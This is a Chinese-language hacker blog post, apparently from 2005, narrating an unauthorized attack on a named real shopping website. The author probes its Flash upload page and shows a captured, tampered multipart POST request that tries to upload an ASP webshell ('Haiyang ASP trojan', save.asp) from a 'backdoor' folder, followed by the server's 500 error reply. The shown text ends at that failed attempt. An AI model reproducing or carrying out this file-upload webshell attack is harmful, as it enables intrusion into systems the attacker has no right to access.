下午5：52分，快吃晚飯了，這段時間里我比較喜歡給忙碌了一天的自己放短假，所以按照習慣就跑去幾個常去的站點看看文章，武漢的安全網(wǎng)我還是比較喜歡的，東西比較多而且更新的也還算及時。
記得看過一次315安全網(wǎng)里的一位兄臺做過一個他們硬盤權限分配的動畫，了解到是一臺虛擬主機，用自己寫的程序跑了跑，看看有沒有什么可以利用的地方，發(fā)現(xiàn)了一個動感購物商城的上傳頁面，呵呵……
http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
就抓了個包試試看上傳，包的結果如下：
POST /upfile_flash.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d51863950254
Accept-Encoding: gzip, deflate
User-Agent:/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)
Host: www.whdlwj.com
Content-Length: 3306
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCARBBDSS=NDPLMAIBCAFLEEMECJONPJJJ
-----------------------------7d51863950254
Content-Disposition: form-data; name="filepath"
bookpic/
-----------------------------7d51863950254
Content-Disposition: form-data; name="filelx"
jpg
-----------------------------7d51863950254
Content-Disposition: form-data; name="EditName"
bookpic
-----------------------------7d51863950254
Content-Disposition: form-data; name="FormName"
myform
-----------------------------7d51863950254
Content-Disposition: form-data; name="act"
uploadfile
-----------------------------7d51863950254
Content-Disposition: form-data; name="file1"; filename="G:\backdoor\網(wǎng)頁\海陽ASP木馬\2005\改好的\save.asp"
Content-Type: application/octet-stream
-----------------------------7d51863950254
Content-Disposition: form-data; name="Submit"
開始上傳
-----------------------------7d51863950254--
按照正常的手段改數(shù)據(jù)包先進行測試，提交結果返回為：
HTTP/1.1 500 Internal Server Error
Date: Mon, 18 Apr 2005 10:05:24 GMT
Server:-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 493
Content-Type: text/html
Cache-control: private
ADODB.Stream 錯誤 '800a0bbc'
寫入文件失敗。
/upload_wj.inc，行 181<
/font>